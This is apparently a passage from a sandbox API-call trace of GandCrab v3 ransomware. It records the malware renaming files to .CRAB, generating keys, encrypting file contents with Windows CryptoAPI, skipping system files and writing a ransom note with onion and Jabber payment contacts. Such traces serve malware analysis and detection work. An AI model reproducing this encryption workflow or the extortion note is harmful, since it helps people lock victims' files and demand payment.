	[0135.388] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\vwnC.mkv" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\vwnc.mkv"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\vwnC.mkv.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\vwnc.mkv.crab")) returned 1
	[0135.389] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0135.390] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos\\vwnC.mkv.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\vwnC.mkv.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\vwnC.mkv.CRAB"
	[0135.390] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\vwnC.mkv.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\vwnC.mkv.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\vwnC.mkv.CRAB.CRAB"
	[0135.390] CryptAcquireContextW (in: phProv=0x314d2d8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2d8*=0xd6ed98) returned 1
	[0135.391] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0135.392] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0135.392] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0135.392] CryptGenRandom (in: hProv=0xd6ed98, dwLen=0x10, pbBuffer=0x314d414 | out: pbBuffer=0x314d414) returned 1
	[0135.392] CryptReleaseContext (hProv=0xd6ed98, dwFlags=0x0) returned 1
	[0135.392] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0135.392] CryptAcquireContextW (in: phProv=0x314d2d8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2d8*=0xd6e738) returned 1
	[0135.393] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0135.394] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0135.394] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0135.394] CryptGenRandom (in: hProv=0xd6e738, dwLen=0x20, pbBuffer=0x314d3f0 | out: pbBuffer=0x314d3f0) returned 1
	[0135.394] CryptReleaseContext (hProv=0xd6e738, dwFlags=0x0) returned 1
	[0135.394] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0135.394] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2d0000
	[0135.395] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2e0000
	[0135.395] CryptAcquireContextW (in: phProv=0x314d2c8, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2c8*=0xd6ed98) returned 1
	[0135.396] CryptImportKey (in: hProv=0xd6ed98, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314d2c4 | out: phKey=0x314d2c4*=0x3247e70) returned 1
	[0135.396] CryptGetKeyParam (in: hKey=0x3247e70, dwParam=0x8, pbData=0x314d2b4, pdwDataLen=0x314d2bc, dwFlags=0x0 | out: pbData=0x314d2b4*=0x800, pdwDataLen=0x314d2bc*=0x4) returned 1
	[0135.396] CryptEncrypt (in: hKey=0x3247e70, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d0000*, pdwDataLen=0x314d424*=0xc8, dwBufLen=0x800 | out: pbData=0x2d0000*, pdwDataLen=0x314d424*=0x100) returned 1
	[0135.397] GetLastError () returned 0x0
	[0135.397] CryptReleaseContext (hProv=0xd6ed98, dwFlags=0x0) returned 1
	[0135.397] CryptAcquireContextW (in: phProv=0x314d2c8, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2c8*=0xd6eb78) returned 1
	[0135.398] CryptImportKey (in: hProv=0xd6eb78, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314d2c4 | out: phKey=0x314d2c4*=0x3248370) returned 1
	[0135.398] CryptGetKeyParam (in: hKey=0x3248370, dwParam=0x8, pbData=0x314d2b4, pdwDataLen=0x314d2bc, dwFlags=0x0 | out: pbData=0x314d2b4*=0x800, pdwDataLen=0x314d2bc*=0x4) returned 1
	[0135.398] CryptEncrypt (in: hKey=0x3248370, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2e0000*, pdwDataLen=0x314d428*=0xc8, dwBufLen=0x800 | out: pbData=0x2e0000*, pdwDataLen=0x314d428*=0x100) returned 1
	[0135.398] GetLastError () returned 0x0
	[0135.398] CryptReleaseContext (hProv=0xd6eb78, dwFlags=0x0) returned 1
	[0135.398] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\vwnC.mkv.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\vwnc.mkv.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3e8
	[0135.399] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2f0000
	[0135.399] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3560000
	[0135.399] ReadFile (in: hFile=0x3e8, lpBuffer=0x3560000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314d46c, lpOverlapped=0x0 | out: lpBuffer=0x3560000*, lpNumberOfBytesRead=0x314d46c*=0x517e, lpOverlapped=0x0) returned 1
	[0135.407] VirtualAlloc (lpAddress=0x0, dwSize=0x5180, flAllocationType=0x3000, flProtect=0x4) returned 0x300000
	[0135.407] VirtualAlloc (lpAddress=0x0, dwSize=0x5180, flAllocationType=0x3000, flProtect=0x4) returned 0x310000
	[0135.408] VirtualFree (lpAddress=0x300000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0135.408] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0xffffae82, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0135.408] WriteFile (in: hFile=0x3e8, lpBuffer=0x310000*, nNumberOfBytesToWrite=0x5180, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x310000*, lpNumberOfBytesWritten=0x314d45c*=0x5180, lpOverlapped=0x0) returned 1
	[0135.409] VirtualFree (lpAddress=0x310000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0135.409] VirtualFree (lpAddress=0x3560000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0135.413] WriteFile (in: hFile=0x3e8, lpBuffer=0x2d0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2d0000*, lpNumberOfBytesWritten=0x314d45c*=0x100, lpOverlapped=0x0) returned 1
	[0135.413] WriteFile (in: hFile=0x3e8, lpBuffer=0x2e0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2e0000*, lpNumberOfBytesWritten=0x314d45c*=0x100, lpOverlapped=0x0) returned 1
	[0135.413] WriteFile (in: hFile=0x3e8, lpBuffer=0x2f0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2f0000*, lpNumberOfBytesWritten=0x314d45c*=0x8, lpOverlapped=0x0) returned 1
	[0135.413] CloseHandle (hObject=0x3e8) returned 1
	[0135.413] VirtualFree (lpAddress=0x2f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0135.413] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0135.414] VirtualFree (lpAddress=0x2e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0135.414] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0135.414] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0135.414] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0135.414] FindNextFileW (in: hFindFile=0x3248f30, lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 1
	[0135.415] lstrcmpW (lpString1="yrH-liw_7NMOiY.swf", lpString2=".") returned 1
	[0135.415] lstrcmpW (lpString1="yrH-liw_7NMOiY.swf", lpString2="..") returned 1
	[0135.415] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\", lpString2="yrH-liw_7NMOiY.swf" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\yrH-liw_7NMOiY.swf") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\yrH-liw_7NMOiY.swf"
	[0135.415] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0135.415] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\yrH-liw_7NMOiY.swf") returned 47
	[0135.415] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Videos\\yrH-liw_7NMOiY.swf") returned 47
	[0135.415] lstrlenW (lpString=".swf") returned 4
	[0135.415] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0135.415] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".swf ") returned 5
	[0135.415] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0135.416] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Videos\\yrH-liw_7NMOiY.swf") returned 47
	[0135.416] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Videos\\yrH-liw_7NMOiY.swf") returned 47
	[0135.416] lstrcmpiW (lpString1="yrH-liw_7NMOiY.swf", lpString2="desktop.ini") returned 1
	[0135.416] lstrcmpiW (lpString1="yrH-liw_7NMOiY.swf", lpString2="autorun.inf") returned 1
	[0135.416] lstrcmpiW (lpString1="yrH-liw_7NMOiY.swf", lpString2="ntuser.dat") returned 1
	[0135.416] lstrcmpiW (lpString1="yrH-liw_7NMOiY.swf", lpString2="iconcache.db") returned 1
	[0135.416] lstrcmpiW (lpString1="yrH-liw_7NMOiY.swf", lpString2="bootsect.bak") returned 1
	[0135.416] lstrcmpiW (lpString1="yrH-liw_7NMOiY.swf", lpString2="boot.ini") returned 1
	[0135.416] lstrcmpiW (lpString1="yrH-liw_7NMOiY.swf", lpString2="ntuser.dat.log") returned 1
	[0135.416] lstrcmpiW (lpString1="yrH-liw_7NMOiY.swf", lpString2="thumbs.db") returned 1
	[0135.416] lstrcmpiW (lpString1="yrH-liw_7NMOiY.swf", lpString2="CRAB-DECRYPT.txt") returned 1
	[0135.416] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0135.416] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\yrH-liw_7NMOiY.swf.CRAB") returned 52
	[0135.416] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\yrH-liw_7NMOiY.swf" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\yrh-liw_7nmoiy.swf")) returned 0x20
	[0135.417] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\yrH-liw_7NMOiY.swf", dwFileAttributes=0x20) returned 1
	[0135.417] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\yrH-liw_7NMOiY.swf" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\yrh-liw_7nmoiy.swf"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\yrH-liw_7NMOiY.swf.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\yrh-liw_7nmoiy.swf.crab")) returned 1
	[0135.419] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0135.420] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos\\yrH-liw_7NMOiY.swf.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\yrH-liw_7NMOiY.swf.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\yrH-liw_7NMOiY.swf.CRAB"
	[0135.420] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\yrH-liw_7NMOiY.swf.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\yrH-liw_7NMOiY.swf.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\yrH-liw_7NMOiY.swf.CRAB.CRAB"
	[0135.420] CryptAcquireContextW (in: phProv=0x314d2d8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2d8*=0xd6ed98) returned 1
	[0135.421] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0135.421] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0135.422] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0135.422] CryptGenRandom (in: hProv=0xd6ed98, dwLen=0x10, pbBuffer=0x314d414 | out: pbBuffer=0x314d414) returned 1
	[0135.422] CryptReleaseContext (hProv=0xd6ed98, dwFlags=0x0) returned 1
	[0135.422] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0135.422] CryptAcquireContextW (in: phProv=0x314d2d8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2d8*=0xd6e5a0) returned 1
	[0135.423] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0135.423] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0135.424] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0135.424] CryptGenRandom (in: hProv=0xd6e5a0, dwLen=0x20, pbBuffer=0x314d3f0 | out: pbBuffer=0x314d3f0) returned 1
	[0135.424] CryptReleaseContext (hProv=0xd6e5a0, dwFlags=0x0) returned 1
	[0135.424] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0135.424] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2d0000
	[0135.424] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2e0000
	[0135.425] CryptAcquireContextW (in: phProv=0x314d2c8, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2c8*=0xd6e408) returned 1
	[0135.426] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314d2c4 | out: phKey=0x314d2c4*=0x32480f0) returned 1
	[0135.426] CryptGetKeyParam (in: hKey=0x32480f0, dwParam=0x8, pbData=0x314d2b4, pdwDataLen=0x314d2bc, dwFlags=0x0 | out: pbData=0x314d2b4*=0x800, pdwDataLen=0x314d2bc*=0x4) returned 1
	[0135.426] CryptEncrypt (in: hKey=0x32480f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d0000*, pdwDataLen=0x314d424*=0xc8, dwBufLen=0x800 | out: pbData=0x2d0000*, pdwDataLen=0x314d424*=0x100) returned 1
	[0135.426] GetLastError () returned 0x0
	[0135.426] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0135.426] CryptAcquireContextW (in: phProv=0x314d2c8, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2c8*=0xd6e408) returned 1
	[0135.428] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314d2c4 | out: phKey=0x314d2c4*=0x32481b0) returned 1
	[0135.428] CryptGetKeyParam (in: hKey=0x32481b0, dwParam=0x8, pbData=0x314d2b4, pdwDataLen=0x314d2bc, dwFlags=0x0 | out: pbData=0x314d2b4*=0x800, pdwDataLen=0x314d2bc*=0x4) returned 1
	[0135.428] CryptEncrypt (in: hKey=0x32481b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2e0000*, pdwDataLen=0x314d428*=0xc8, dwBufLen=0x800 | out: pbData=0x2e0000*, pdwDataLen=0x314d428*=0x100) returned 1
	[0135.428] GetLastError () returned 0x0
	[0135.428] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0135.428] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\yrH-liw_7NMOiY.swf.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\yrh-liw_7nmoiy.swf.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3e8
	[0135.429] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2f0000
	[0135.429] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3560000
	[0135.429] ReadFile (in: hFile=0x3e8, lpBuffer=0x3560000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314d46c, lpOverlapped=0x0 | out: lpBuffer=0x3560000*, lpNumberOfBytesRead=0x314d46c*=0x1b59, lpOverlapped=0x0) returned 1
	[0135.454] VirtualAlloc (lpAddress=0x0, dwSize=0x1b60, flAllocationType=0x3000, flProtect=0x4) returned 0x300000
	[0135.455] VirtualAlloc (lpAddress=0x0, dwSize=0x1b60, flAllocationType=0x3000, flProtect=0x4) returned 0x310000
	[0135.455] VirtualFree (lpAddress=0x300000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0135.455] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0xffffe4a7, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0135.457] WriteFile (in: hFile=0x3e8, lpBuffer=0x310000*, nNumberOfBytesToWrite=0x1b60, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x310000*, lpNumberOfBytesWritten=0x314d45c*=0x1b60, lpOverlapped=0x0) returned 1
	[0135.457] VirtualFree (lpAddress=0x310000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0135.457] VirtualFree (lpAddress=0x3560000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0135.461] WriteFile (in: hFile=0x3e8, lpBuffer=0x2d0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2d0000*, lpNumberOfBytesWritten=0x314d45c*=0x100, lpOverlapped=0x0) returned 1
	[0135.461] WriteFile (in: hFile=0x3e8, lpBuffer=0x2e0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2e0000*, lpNumberOfBytesWritten=0x314d45c*=0x100, lpOverlapped=0x0) returned 1
	[0135.461] WriteFile (in: hFile=0x3e8, lpBuffer=0x2f0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2f0000*, lpNumberOfBytesWritten=0x314d45c*=0x8, lpOverlapped=0x0) returned 1
	[0135.461] CloseHandle (hObject=0x3e8) returned 1
	[0135.461] VirtualFree (lpAddress=0x2f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0135.462] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0135.462] VirtualFree (lpAddress=0x2e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0135.462] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0135.462] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0135.462] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0135.463] FindNextFileW (in: hFindFile=0x3248f30, lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 0
	[0135.463] FindClose (in: hFindFile=0x3248f30 | out: hFindFile=0x3248f30) returned 1
	[0135.463] FindNextFileW (in: hFindFile=0xd80560, lpFindFileData=0x314e760 | out: lpFindFileData=0x314e760) returned 0
	[0135.463] FindClose (in: hFindFile=0xd80560 | out: hFindFile=0xd80560) returned 1
	[0135.463] FindNextFileW (in: hFindFile=0xd804e0, lpFindFileData=0x314f208 | out: lpFindFileData=0x314f208) returned 1
	[0135.463] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2=".") returned 1
	[0135.463] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2="..") returned 1
	[0135.463] lstrcatW (in: lpString1="C:\\Users\\", lpString2="CRAB-DECRYPT.txt" | out: lpString1="C:\\Users\\CRAB-DECRYPT.txt") returned="C:\\Users\\CRAB-DECRYPT.txt"
	[0135.463] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0135.463] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CRAB-DECRYPT.txt") returned 25
	[0135.464] lstrlenW (lpString="C:\\Users\\CRAB-DECRYPT.txt") returned 25
	[0135.464] lstrlenW (lpString=".txt") returned 4
	[0135.464] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0135.464] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".txt ") returned 5
	[0135.464] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0135.464] lstrlenW (lpString="C:\\Users\\CRAB-DECRYPT.txt") returned 25
	[0135.464] lstrlenW (lpString="C:\\Users\\CRAB-DECRYPT.txt") returned 25
	[0135.465] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="desktop.ini") returned -1
	[0135.465] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="autorun.inf") returned 1
	[0135.465] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat") returned -1
	[0135.465] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="iconcache.db") returned -1
	[0135.465] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="bootsect.bak") returned 1
	[0135.465] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="boot.ini") returned 1
	[0135.465] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1
	[0135.465] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="thumbs.db") returned -1
	[0135.465] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="CRAB-DECRYPT.txt") returned 0
	[0135.465] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0135.465] FindNextFileW (in: hFindFile=0xd804e0, lpFindFileData=0x314f208 | out: lpFindFileData=0x314f208) returned 1
	[0135.465] lstrcmpW (lpString1="Default", lpString2=".") returned 1
	[0135.465] lstrcmpW (lpString1="Default", lpString2="..") returned 1
	[0135.465] lstrcatW (in: lpString1="C:\\Users\\", lpString2="Default" | out: lpString1="C:\\Users\\Default") returned="C:\\Users\\Default"
	[0135.465] lstrcatW (in: lpString1="C:\\Users\\Default", lpString2="\\" | out: lpString1="C:\\Users\\Default\\") returned="C:\\Users\\Default\\"
	[0135.465] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0135.466] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0135.466] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0135.466] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0135.466] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0135.466] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0135.466] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314df60, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0135.466] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0135.466] lstrcmpiW (lpString1="C:\\Users\\Default\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned 1
	[0135.466] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314d748, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0135.466] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0135.466] lstrcmpiW (lpString1="C:\\Users\\Default\\", lpString2="C:\\Users\\Public\\Desktop\\") returned -1
	[0135.466] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0135.467] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Users\\Default\\\\CRAB-DECRYPT.txt") returned 34
	[0135.467] CreateFileW (lpFileName="C:\\Users\\Default\\\\CRAB-DECRYPT.txt" (normalized: "c:\\users\\default\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3b0
	[0135.467] lstrlenW (lpString="---= GANDCRAB V3  =--- \r\r\n\r\r\nAttention! \r\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .CRAB \r\r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files. \r\n\r\r\nThe server with your key is in a closed network TOR. You can get there by the following ways: \r\r\n0. Download Tor browser - https://www.torproject.org/ \r\r\n1. Install Tor browser \r\r\n2. Open Tor Browser \r\r\n3. Open link in TOR browser: http://gandcrab2pie73et.onion/dce1bb8bd2ca4def                        \r\r\n4. Follow the instructions on this page \r\r\n                        \r\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. \r\r\n\r\nThe alternative way to contact us is to use Jabber messanger. Read how to:\r\n0. Download Psi-Plus Jabber Client: https://psi-im.org/download/\r\n1. Register new account: http://sj.ms/register.php\r\n    0) Enter \"username\": dce1bb8bd2ca4def                        \r\n    1) Enter \"password\": your password\r\n2. Add new account in Psi\r\n3. Add and write Jabber ID: ransomware@sj.ms any message\r\n4. Follow instruction bot \r\n\r\n\r\nATTENTION!\r\nIt is a bot! It's fully automated artificial system without human control!\r\nTo contact us use TOR links. We can provide you all required proofs of decryption availibility anytime. We are open to conversations.\r\nYou can read instructions how to install and use jabber here http://www.sfu.ca/jabber/Psi_Jabber_PC.pdf \r\n\r\nCAUGHTION! \r\r\nDo not try to modify files or use your own private key. This will result in the loss of your data forever! ") returned 1639
	[0135.467] WriteFile (in: hFile=0x3b0, lpBuffer=0xcf3000*, nNumberOfBytesToWrite=0xcce, lpNumberOfBytesWritten=0x314df44, lpOverlapped=0x0 | out: lpBuffer=0xcf3000*, lpNumberOfBytesWritten=0x314df44*=0xcce, lpOverlapped=0x0) returned 1
	[0135.468] CloseHandle (hObject=0x3b0) returned 1
	[0135.468] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
